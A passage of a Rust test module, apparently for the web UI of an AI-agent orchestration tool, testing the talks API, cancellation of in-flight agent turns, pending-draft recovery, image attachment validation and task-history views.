15657 assert_eq!(progress["state"], "incomplete");
15658 assert_eq!(progress["done"], 0);
15659 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15660 }
15661 }
15662 }
15663
15664 #[test]
15665 fn talk_task_progress_counts_mixed_statuses() {
15666 let mut tasks: Vec<_> = [
15667 TaskStatus::Queued,
15668 TaskStatus::Running,
15669 TaskStatus::Held,
15670 TaskStatus::Failed,
15671 TaskStatus::Blocked,
15672 TaskStatus::Parked,
15673 TaskStatus::Done,
15674 ]
15675 .into_iter()
15676 .map(|status| {
15677 let mut task = Task::new(
15678 "task".into(),
15679 "task".into(),
15680 PathBuf::from("/repo"),
15681 Source::Human,
15682 );
15683 task.status = status;
15684 task
15685 })
15686 .collect();
15687 let progress = talk_task_progress(&tasks);
15688 assert_eq!(progress.state, "incomplete");
15689 assert_eq!(progress.total, 7);
15690 assert_eq!(progress.done, 1);
15691 assert_eq!(progress.unfinished_ids.len(), 6);
15692 assert!(progress.counts.values().all(|count| *count == 1));
15693 assert_eq!(
15694 progress.unfinished_ids,
15695 tasks[..6]
15696 .iter()
15697 .map(|task| task.id.clone())
15698 .collect::<Vec<_>>()
15699 );
15700
15701 for task in &mut tasks {
15702 task.status = TaskStatus::Done;
15703 }
15704 let complete = talk_task_progress(&tasks);
15705 assert_eq!(complete.state, "complete");
15706 assert_eq!(complete.done, 7);
15707 assert!(complete.unfinished_ids.is_empty());
15708 tasks[0].status = TaskStatus::Queued;
15709 let requeued = talk_task_progress(&tasks);
15710 assert_eq!(requeued.state, "incomplete");
15711 assert_eq!(requeued.done, 6);
15712 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
15713
15714 let empty = talk_task_progress(&[]);
15715 assert_eq!(empty.state, "none");
15716 assert_eq!(empty.total, 0);
15717 assert_eq!(empty.done, 0);
15718 assert!(empty.unfinished_ids.is_empty());
15719 assert!(empty.counts.values().all(|count| *count == 0));
15720 }
15721
15722 #[tokio::test]
15723 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
15724 let (_tmp, _repo, f) = talk_fixture().await;
15725 let id = f.post("/api/talks", None).await.json()["id"]
15726 .as_str()
15727 .expect("id")
15728 .to_owned();
15729
15730 let res = f
15731 .post(
15732 &format!("/api/talks/{id}/say"),
15733 Some(r#"{"text":"what does the queue module do?"}"#),
15734 )
15735 .await;
15736 assert_eq!(res.status, 202, "{}", res.body);
15737 let queued = res.json();
15738 let turns = queued["turns"].as_array().expect("turns array");
15739 assert_eq!(
15740 turns.len(),
15741 1,
15742 "the answer reflects only what is on disk the instant it is sent, \
15743 before the agent's turn - which can run for the whole of \
15744 `[graph] timeout_talk` - has a chance to land: {queued}"
15745 );
15746 assert_eq!(turns[0]["who"], "operator");
15747 assert_eq!(turns[0]["body"], "what does the queue module do?");
15748 assert_eq!(
15749 queued["thinking"], true,
15750 "the accepted response exposes the background turn claim: {queued}"
15751 );
15752
15753 let mut turns_after = 1;
15754 for _ in 0..SETTLE_STEPS {
15755 let detail = f.get(&format!("/api/talks/{id}")).await.json();
15756 turns_after = detail["turns"].as_array().expect("turns array").len();
15757 if turns_after == 2 {
15758 break;
15759 }
15760 tokio::time::sleep(Duration::from_millis(10)).await;
15761 }
15762 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
15763 }
15764
15765 #[tokio::test]
15792 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
15793 let tmp = TempDir::new().expect("tempdir");
15794 let repo = tmp.path().join("repo");
15795 std::fs::create_dir_all(&repo).expect("repo dir");
15796 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15797 let home = TempDir::new().expect("temp home");
15798 let talks = Talks::at(home.path().join("talks"));
15799 let ui = Arc::new(
15800 Ui::new(
15801 Queue::at(home.path().join("queue")),
15802 Questions::at(home.path().join("questions")),
15803 talks.clone(),
15804 home.path().join("runs"),
15805 home.path().to_path_buf(),
15806 repo.clone(),
15807 )
15808 .with_worktrees_root(home.path().join("wt")),
15809 );
15810 let cfg = config_for(&repo).await.expect("discover config");
15811
15812 for delay in 0..40u32 {
15813 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15814 let id = talk.id.clone();
15815
15816 let handler = tokio::spawn(talk_say(
15817 State(Arc::clone(&ui)),
15818 Path(id.clone()),
15819 Ok(Json(NewTalkTurn {
15820 reply_to: None,
15821 text: "what does the queue module do?".to_owned(),
15822 attachments: Vec::new(),
15823 })),
15824 ));
15825 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
15826 handler.abort();
15827 let _ = handler.await;
15830
15831 let mut turns = 0;
15832 for _ in 0..SETTLE_STEPS {
15833 if let Ok(fresh) = talks.get(&id) {
15834 turns = fresh.turns.len();
15835 if turns != 1 {
15836 break;
15837 }
15838 }
15839 tokio::time::sleep(Duration::from_millis(10)).await;
15840 }
15841 assert_ne!(
15842 turns, 1,
15843 "delay {delay}: talk {id} recorded the operator's turn but \
15844 the agent never answered - the reply task was never \
15845 started after the handler future was dropped"
15846 );
15847 }
15848 }
15849
15850 #[tokio::test]
15895 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
15896 let tmp = TempDir::new().expect("tempdir");
15897 let repo = tmp.path().join("repo");
15898 std::fs::create_dir_all(&repo).expect("repo dir");
15899 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15900 let home = TempDir::new().expect("temp home");
15901 let talks = Talks::at(home.path().join("talks"));
15902 let ui = Arc::new(
15903 Ui::new(
15904 Queue::at(home.path().join("queue")),
15905 Questions::at(home.path().join("questions")),
15906 talks.clone(),
15907 home.path().join("runs"),
15908 home.path().to_path_buf(),
15909 repo.clone(),
15910 )
15911 .with_worktrees_root(home.path().join("wt")),
15912 );
15913 let cfg = config_for(&repo).await.expect("discover config");
15914
15915 for attempt in 0..3u32 {
15916 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15917 let id = talk.id.clone();
15918 let turn_guard = ui
15921 .begin_talk_turn(&id)
15922 .expect("claim the turn")
15923 .expect("a fresh talk owes nobody a turn");
15924
15925 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
15926 let (release_tx, release_rx) = std::sync::mpsc::channel();
15927 ui.set_busy_queue_gate(BusyQueueGate {
15928 reached: reached_tx,
15929 release: release_rx,
15930 });
15931
15932 let handler = tokio::spawn(talk_say(
15933 State(Arc::clone(&ui)),
15934 Path(id.clone()),
15935 Ok(Json(NewTalkTurn {
15936 reply_to: None,
15937 text: "what does the queue module do?".to_owned(),
15938 attachments: Vec::new(),
15939 })),
15940 ));
15941
15942 tokio::time::timeout(Duration::from_secs(5), reached_rx)
15947 .await
15948 .unwrap_or_else(|_| {
15949 panic!(
15950 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
15951 )
15952 })
15953 .expect("the busy branch dropped the gate without using it");
15954 assert!(
15955 crate::chat_worker::try_publication_guard(&talks, &id)
15956 .expect("publication fence")
15957 .is_none(),
15958 "a queued worker cannot promote text before its successor reservation is published"
15959 );
15960
15961 let closing = Arc::clone(&ui.admissions).write_owned();
15965 tokio::pin!(closing);
15966 std::future::poll_fn(|cx| {
15967 assert!(closing.as_mut().poll(cx).is_pending());
15968 std::task::Poll::Ready(())
15969 })
15970 .await;
15971 assert!(
15972 ui.begin_admission().is_err(),
15973 "replacement blocks later admissions"
15974 );
15975
15976 let running = talks.get(&id).expect("reload talk");
15983 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
15984
15985 handler.abort();
15989 let _ = handler.await;
15990 std::future::poll_fn(|cx| {
15991 assert!(
15992 closing.as_mut().poll(cx).is_pending(),
15993 "HTTP cancellation must not abandon a publishing transaction"
15994 );
15995 std::task::Poll::Ready(())
15996 })
15997 .await;
15998 assert!(
15999 crate::chat_worker::try_publication_guard(&talks, &id)
16000 .expect("publication fence after disconnect")
16001 .is_none()
16002 );
16003
16004 let _ = release_tx.send(());
16010 drop(
16011 tokio::time::timeout(Duration::from_secs(5), closing)
16012 .await
16013 .expect("short admission transaction should release for replacement"),
16014 );
16015 assert!(
16016 crate::chat_worker::try_publication_guard(&talks, &id)
16017 .expect("publication fence after acknowledgement")
16018 .is_some(),
16019 "the publication fence is not retained by the long response"
16020 );
16021
16022 let mut fresh = talks.get(&id).expect("reload talk");
16025 for _ in 0..SETTLE_STEPS {
16026 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
16027 break;
16028 }
16029 tokio::time::sleep(Duration::from_millis(10)).await;
16030 fresh = talks.get(&id).expect("reload talk");
16031 }
16032 assert!(
16033 fresh.pending.is_empty() && fresh.turns.len() == 2,
16034 "attempt {attempt}: talk {id} left the operator's text queued \
16035 with no drainer - the reclaimed turn was dropped along with \
16036 the handler future (pending {:?}, {} turns)",
16037 fresh.pending,
16038 fresh.turns.len()
16039 );
16040 }
16041 }
16042
16043 #[tokio::test]
16044 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
16045 let (_tmp, _repo, f) = talk_fixture().await;
16046 let id = f.post("/api/talks", None).await.json()["id"]
16047 .as_str()
16048 .expect("id")
16049 .to_owned();
16050 let store = f.talks();
16051 let mut recovered = store.get(&id).expect("opened talk");
16052 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16053 .expect("persist pending draft without a live turn");
16054
16055 let edited = f
16056 .post(
16057 &format!("/api/talks/{id}/pending/edit"),
16058 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
16059 )
16060 .await;
16061 assert_eq!(edited.status, 200, "{}", edited.body);
16062 assert!(edited.json()["thinking"].as_bool().unwrap());
16063
16064 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
16065 for _ in 0..SETTLE_STEPS {
16066 if detail["turns"].as_array().expect("turns").len() == 2 {
16067 break;
16068 }
16069 tokio::time::sleep(Duration::from_millis(10)).await;
16070 detail = f.get(&format!("/api/talks/{id}")).await.json();
16071 }
16072 let turns = detail["turns"].as_array().expect("turns");
16073 assert_eq!(
16074 turns.len(),
16075 2,
16076 "the recovered draft must run once: {detail}"
16077 );
16078 assert_eq!(turns[0]["body"], "corrected");
16079 assert_eq!(detail["pending"], "");
16080 }
16081
16082 #[tokio::test]
16083 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
16084 let tmp = TempDir::new().expect("tempdir");
16085 let repo = tmp.path().join("repo");
16086 std::fs::create_dir_all(&repo).expect("repo dir");
16087 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16088 let f = Fixture::with_repo(repo).await;
16089 let id = f.post("/api/talks", None).await.json()["id"]
16090 .as_str()
16091 .expect("id")
16092 .to_owned();
16093 let store = f.talks();
16094 let mut recovered = store.get(&id).expect("opened talk");
16095 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16096 .expect("persist pending draft without a live turn");
16097
16098 let refused = f
16099 .post(
16100 &format!("/api/talks/{id}/say"),
16101 Some(r#"{"text":"new message"}"#),
16102 )
16103 .await;
16104 assert_eq!(refused.status, 409, "{}", refused.body);
16105 assert!(refused.body.contains("resume"), "{}", refused.body);
16106 let saved = store.get(&id).expect("draft remains after refusal");
16107 assert!(saved.turns.is_empty());
16108 assert_eq!(saved.pending, "saved before restart");
16109
16110 let say_path = format!("/api/talks/{id}/say");
16111 let (first, second) = tokio::join!(
16112 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
16113 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
16114 );
16115 assert_eq!(first.status, 409, "{}", first.body);
16116 assert_eq!(second.status, 409, "{}", second.body);
16117 let saved = store
16118 .get(&id)
16119 .expect("draft remains after concurrent refusals");
16120 assert!(saved.turns.is_empty());
16121 assert_eq!(saved.pending, "saved before restart");
16122
16123 let resumed = f
16124 .post(&format!("/api/talks/{id}/pending/resume"), None)
16125 .await;
16126 assert_eq!(resumed.status, 202, "{}", resumed.body);
16127 let duplicate = f
16128 .post(&format!("/api/talks/{id}/pending/resume"), None)
16129 .await;
16130 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
16131
16132 for _ in 0..SETTLE_STEPS {
16133 if store.get(&id).expect("talk").turns.len() == 2 {
16134 break;
16135 }
16136 tokio::time::sleep(Duration::from_millis(10)).await;
16137 }
16138 let finished = store.get(&id).expect("finished talk");
16139 assert_eq!(finished.turns.len(), 2, "{finished:?}");
16140 assert_eq!(finished.turns[0].body, "saved before restart");
16141 assert!(finished.pending.is_empty());
16142 }
16143
16144 #[tokio::test]
16145 async fn an_image_only_recovered_draft_resumes_without_text() {
16146 let (_tmp, _repo, f) = talk_fixture().await;
16147 let id = f.post("/api/talks", None).await.json()["id"]
16148 .as_str()
16149 .expect("id")
16150 .to_owned();
16151 let uploaded = f
16152 .post_bytes(
16153 &format!("/api/talks/{id}/attachments"),
16154 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
16155 PNG_BYTES,
16156 )
16157 .await;
16158 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16159 let attachment = f
16160 .talks()
16161 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
16162 .expect("attachment metadata")
16163 .expect("stored attachment");
16164 let store = f.talks();
16165 let mut recovered = store.get(&id).expect("opened talk");
16166 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
16167
16168 let resumed = f
16169 .post(&format!("/api/talks/{id}/pending/resume"), None)
16170 .await;
16171 assert_eq!(resumed.status, 202, "{}", resumed.body);
16172 for _ in 0..SETTLE_STEPS {
16173 if store.get(&id).expect("talk").turns.len() == 2 {
16174 break;
16175 }
16176 tokio::time::sleep(Duration::from_millis(10)).await;
16177 }
16178 let finished = store.get(&id).expect("finished talk");
16179 assert_eq!(finished.turns.len(), 2, "{finished:?}");
16180 assert!(finished.turns[0].body.is_empty());
16181 assert_eq!(finished.turns[0].attachments.len(), 1);
16182 assert!(finished.pending_attachments.is_empty());
16183 }
16184
16185 #[tokio::test]
16186 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
16187 let (_tmp, _repo, f) = talk_fixture().await;
16188 let id = f.post("/api/talks", None).await.json()["id"]
16189 .as_str()
16190 .expect("id")
16191 .to_owned();
16192 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16193 assert_eq!(closed.status, 200, "{}", closed.body);
16194 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16195 .expect("serialize closed talk");
16196 for (path, body) in [
16197 (format!("/api/talks/{id}/pending/resume"), None),
16198 (
16199 format!("/api/talks/{id}/pending/clear"),
16200 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
16201 ),
16202 (
16203 format!("/api/talks/{id}/pending/edit"),
16204 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
16205 ),
16206 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
16207 ] {
16208 let response = f.post(&path, body).await;
16209 assert_eq!(response.status, 409, "{}", response.body);
16210 }
16211 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16212 .expect("serialize closed talk");
16213 assert_eq!(
16214 after_clear, before_clear,
16215 "clear must not rewrite a closed talk"
16216 );
16217 }
16218
16219 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
16222
16223 #[tokio::test]
16224 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
16225 let tmp = TempDir::new().expect("tempdir");
16226 let repo = tmp.path().join("repo");
16227 std::fs::create_dir_all(&repo).expect("repo dir");
16228 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16229 let f = Fixture::with_repo(repo).await;
16230 let id_a = f.post("/api/talks", None).await.json()["id"]
16231 .as_str()
16232 .unwrap()
16233 .to_owned();
16234 let id_b = f.post("/api/talks", None).await.json()["id"]
16235 .as_str()
16236 .unwrap()
16237 .to_owned();
16238
16239 let a = f
16240 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
16241 .await;
16242 assert_eq!(a.status, 202, "{}", a.body);
16243 assert_eq!(a.json()["thinking"], true);
16244 let b = f
16245 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
16246 .await;
16247 assert_eq!(b.status, 202, "{}", b.body);
16248 assert_eq!(b.json()["thinking"], true);
16249
16250 let listed = f.get("/api/talks").await.json();
16251 for id in [&id_a, &id_b] {
16252 let view = listed
16253 .as_array()
16254 .unwrap()
16255 .iter()
16256 .find(|talk| talk["id"] == *id)
16257 .unwrap();
16258 assert_eq!(view["thinking"], true, "{listed}");
16259 }
16260 let repeated = f
16261 .post(
16262 &format!("/api/talks/{id_a}/say"),
16263 Some(r#"{"text":"again"}"#),
16264 )
16265 .await;
16266 assert_eq!(repeated.status, 202, "{}", repeated.body);
16267 assert_eq!(repeated.json()["pending"], "again");
16268 }
16269
16270 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
16273
16274 #[tokio::test]
16275 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
16276 let f = Fixture::start().await;
16277 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
16278
16279 let res = f
16280 .post_bytes(
16281 &format!("/api/talks/{id}/attachments"),
16282 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16283 PNG_BYTES,
16284 )
16285 .await;
16286 assert_eq!(res.status, 201, "{}", res.body);
16287 let body = res.json();
16288 assert_eq!(body["name"], "shot.png");
16289 assert_eq!(body["mime"], "image/png");
16290 assert_eq!(body["bytes"], PNG_BYTES.len());
16291 let att_id = body["id"].as_str().expect("id").to_owned();
16292 assert_eq!(
16293 att_id.len(),
16294 32,
16295 "the id must never be a client-suppliable path: {att_id}"
16296 );
16297
16298 let got = f
16299 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
16300 .await;
16301 assert_eq!(got.status, 200, "{}", got.body);
16302 assert_eq!(got.header("content-type"), Some("image/png"));
16303 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
16304 assert_eq!(got.bytes, PNG_BYTES);
16305 }
16306
16307 #[tokio::test]
16308 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
16309 let f = Fixture::start().await;
16310 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
16311
16312 let svg = f
16315 .post_bytes(
16316 &format!("/api/talks/{id}/attachments"),
16317 &[("Content-Type", "image/svg+xml")],
16318 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
16319 )
16320 .await;
16321 assert!(
16322 (400..500).contains(&svg.status),
16323 "svg must be refused: {} {}",
16324 svg.status,
16325 svg.body
16326 );
16327 assert!(svg.body.contains("SVG"), "{}", svg.body);
16328
16329 let text = f
16330 .post_bytes(
16331 &format!("/api/talks/{id}/attachments"),
16332 &[("Content-Type", "text/plain")],
16333 b"just some text",
16334 )
16335 .await;
16336 assert!(
16337 (400..500).contains(&text.status),
16338 "an unlisted type must be refused: {} {}",
16339 text.status,
16340 text.body
16341 );
16342
16343 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
16346 let big = f
16347 .post_bytes(
16348 &format!("/api/talks/{id}/attachments"),
16349 &[("Content-Type", "image/png")],
16350 &oversized,
16351 )
16352 .await;
16353 assert_eq!(
16354 big.status,
16355 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
16356 "{}",
16357 big.body
16358 );
16359 }
16360
16361 #[tokio::test]
16362 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
16363 let f = Fixture::start().await;
16364 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
16365
16366 let res = f
16369 .post_bytes(
16370 &format!("/api/talks/{id}/attachments"),
16371 &[("Content-Type", "image/png")],
16372 b"<html>not a picture</html>",
16373 )
16374 .await;
16375 assert!((400..500).contains(&res.status), "{}", res.body);
16376 }
16377
16378 #[tokio::test]
16379 async fn an_unknown_attachment_id_is_a_404() {
16380 let f = Fixture::start().await;
16381 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
16382
16383 let res = f
16384 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
16385 .await;
16386 assert_eq!(res.status, 404, "{}", res.body);
16387 }
16388
16389 #[tokio::test]
16390 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
16391 let f = Fixture::start().await;
16392 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
16393
16394 let uploaded = f
16395 .post_bytes(
16396 &format!("/api/talks/{id}/attachments"),
16397 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16398 PNG_BYTES,
16399 )
16400 .await;
16401 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16402 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
16403
16404 let res = f
16405 .post(
16406 &format!("/api/talks/{id}/say"),
16407 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
16408 )
16409 .await;
16410 assert_eq!(res.status, 202, "{}", res.body);
16411 let queued = res.json();
16412 let turns = queued["turns"].as_array().expect("turns array");
16413 assert_eq!(
16414 turns.len(),
16415 1,
16416 "an empty body with an attachment is still a turn: {queued}"
16417 );
16418 assert_eq!(turns[0]["who"], "operator");
16419 assert_eq!(turns[0]["body"], "");
16420 let atts = turns[0]["attachments"]
16421 .as_array()
16422 .expect("attachments array");
16423 assert_eq!(atts.len(), 1);
16424 assert_eq!(atts[0]["id"], att_id);
16425 assert_eq!(atts[0]["mime"], "image/png");
16426
16427 let on_disk = f.talks().get(&id).expect("get");
16430 assert_eq!(on_disk.turns[0].attachments.len(), 1);
16431 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
16432 }
16433
16434 #[tokio::test]
16435 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
16436 let f = Fixture::start().await;
16437 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
16438
16439 let res = f
16440 .post(
16441 &format!("/api/talks/{id}/say"),
16442 Some(&format!(
16443 r#"{{"text":"hi","attachments":["{}"]}}"#,
16444 "a".repeat(32)
16445 )),
16446 )
16447 .await;
16448 assert!((400..500).contains(&res.status), "{}", res.body);
16449 assert!(res.body.contains("unknown attachment"), "{}", res.body);
16450
16451 let on_disk = f.talks().get(&id).expect("get");
16452 assert!(
16453 on_disk.turns.is_empty(),
16454 "a rejected attachment id must not partially record the turn: {:?}",
16455 on_disk.turns
16456 );
16457 }
16458
16459 #[tokio::test]
16460 async fn talk_close_makes_the_talk_refuse_further_turns() {
16461 let f = Fixture::start().await;
16462 let id = seed_talk(&f, "20260904-014455-cd34", "open");
16463
16464 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16465 assert_eq!(closed.status, 200, "{}", closed.body);
16466 assert_eq!(closed.json()["status"], "closed");
16467
16468 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
16470 assert_eq!(closed_again.status, 200);
16471 assert_eq!(closed_again.json()["status"], "closed");
16472
16473 let said = f
16474 .post(
16475 &format!("/api/talks/{id}/say"),
16476 Some(r#"{"text":"too late"}"#),
16477 )
16478 .await;
16479 assert_eq!(said.status, 409, "{}", said.body);
16480 }
16481
16482 #[tokio::test]
16483 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
16484 let (_tmp, _repo, f) = talk_fixture().await;
16485 let id = f.post("/api/talks", None).await.json()["id"]
16486 .as_str()
16487 .expect("id")
16488 .to_owned();
16489 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16490 assert_eq!(closed.status, 200, "{}", closed.body);
16491
16492 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16493 assert_eq!(reopened.status, 200, "{}", reopened.body);
16494 assert_eq!(reopened.json()["status"], "open");
16495
16496 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16498 assert_eq!(reopened_again.status, 200);
16499 assert_eq!(reopened_again.json()["status"], "open");
16500
16501 let said = f
16502 .post(
16503 &format!("/api/talks/{id}/say"),
16504 Some(r#"{"text":"still there?"}"#),
16505 )
16506 .await;
16507 assert_eq!(
16508 said.status, 202,
16509 "a reopened talk accepts turns again: {}",
16510 said.body
16511 );
16512 }
16513
16514 #[tokio::test]
16515 async fn talk_reopen_on_an_unknown_id_is_404() {
16516 let f = Fixture::start().await;
16517 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
16518 assert_eq!(res.status, 404, "{}", res.body);
16519 }
16520
16521 #[tokio::test]
16522 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
16523 let f = Fixture::start().await;
16524 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
16525
16526 let deleted = f.delete(&format!("/api/talks/{id}")).await;
16527 assert_eq!(deleted.status, 204, "{}", deleted.body);
16528
16529 let after = f.get(&format!("/api/talks/{id}")).await;
16530 assert_eq!(after.status, 404, "{}", after.body);
16531
16532 let listed = f.get("/api/talks").await.json();
16533 assert!(
16534 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
16535 "a deleted talk must not linger in the list: {listed}"
16536 );
16537 }
16538
16539 #[tokio::test]
16540 async fn talk_delete_on_an_unknown_id_is_404() {
16541 let f = Fixture::start().await;
16542 let res = f.delete("/api/talks/nonexistent-id").await;
16543 assert_eq!(res.status, 404, "{}", res.body);
16544 }
16545
16546 #[tokio::test]
16550 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
16551 let f = Fixture::start().await;
16552 let (a, b, gone) = (
16553 "20260902-140501-aaaa",
16554 "20260902-140502-bbbb",
16555 "20260902-140503-cccc",
16556 );
16557 write_run(&f.runs(), a, RunStatus::Stalled);
16558 let mut review = RunState::new(
16559 PathBuf::from("/repo/magi"),
16560 "main".to_owned(),
16561 "0123456789abcdef".to_owned(),
16562 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
16563 .to_owned(),
16564 Config::default(),
16565 );
16566 review.id = b.to_owned();
16567 review.status = RunStatus::Merged;
16568 write_state(&f.runs(), &review);
16569
16570 let mut task = Task::new(
16571 "retry".to_owned(),
16572 "Do the thing".to_owned(),
16573 PathBuf::from("/repo/magi"),
16574 Source::Human,
16575 );
16576 task.start(a.to_owned());
16577 task.stall("quota");
16578 task.start(a.to_owned());
16579 task.start(b.to_owned());
16580 task.start(gone.to_owned());
16581 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
16583 f.queue().put(&mut task).expect("file the task");
16584
16585 let res = f.get(&format!("/api/queue/{}", task.id)).await;
16586 assert_eq!(res.status, 200, "{}", res.body);
16587 let v = res.json();
16588 let h = v["history"].as_array().expect("history");
16589 assert_eq!(h.len(), 4, "{v}");
16590 assert_eq!(h[0]["kind"], "competition");
16591 assert_eq!(h[0]["status"], "stalled");
16592 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
16593 assert_eq!(h[1]["kind"], "resume", "{v}");
16594 assert!(
16595 h[0]["outcome"]
16596 .as_str()
16597 .unwrap()
16598 .contains("unknown. Pass #2"),
16599 "an earlier pass of a resumed run must not claim the final outcome: {v}"
16600 );
16601 assert!(
16602 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
16603 "{v}"
16604 );
16605 assert!(
16606 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16607 "an unrecorded cause must not be narrated as an operator park: {v}"
16608 );
16609 assert_eq!(h[2]["kind"], "review");
16610 assert!(
16611 h[2]["description"]
16612 .as_str()
16613 .unwrap()
16614 .contains("magi/aaaa/A")
16615 );
16616 assert_eq!(h[2]["status"], "merged");
16617 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16618 assert_eq!(v["runs_unreadable"], 1);
16619 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16620 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16621 assert_eq!(nodes[4]["note"], "unreadable");
16622 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16623 assert_eq!(v["instruction"], "Do the thing");
16624 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16625
16626 let run = f.get(&format!("/api/runs/{a}")).await.json();
16628 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16629
16630 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16631 }
16632
16633 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16634 let mut s = RunState::new(
16635 PathBuf::from("/repo/magi"),
16636 "main".to_owned(),
16637 "0123456789abcdef".to_owned(),
16638 "Do it".to_owned(),
16639 Config::default(),
16640 );
16641 s.status = status;
16642 edit(&mut s);
16643 s
16644 }
16645
16646 fn flow_task(runs: &[&str]) -> Task {
16647 let mut t = Task::new(
16648 "t".to_owned(),
16649 "Do it".to_owned(),
16650 PathBuf::from("/repo/magi"),
16651 Source::Human,
16652 );
16653 for r in runs {
16654 t.start((*r).to_owned());
16655 }
16656 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16658 t
16659 }
16660
16661 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
16662 let h = task_history(task, |id| {
16663 states
16664 .iter()
16665 .find(|(i, _)| *i == id)
16666 .and_then(|(_, s)| s.clone())
16667 });
16668 task_flow(task, &h, 5, None)
16669 }
16670
16671 #[test]
16672 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
16673 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
16674 let created = "2026-10-10T01:00:00Z".parse().unwrap();
16675 let first = "2026-10-10T02:00:00Z".parse().unwrap();
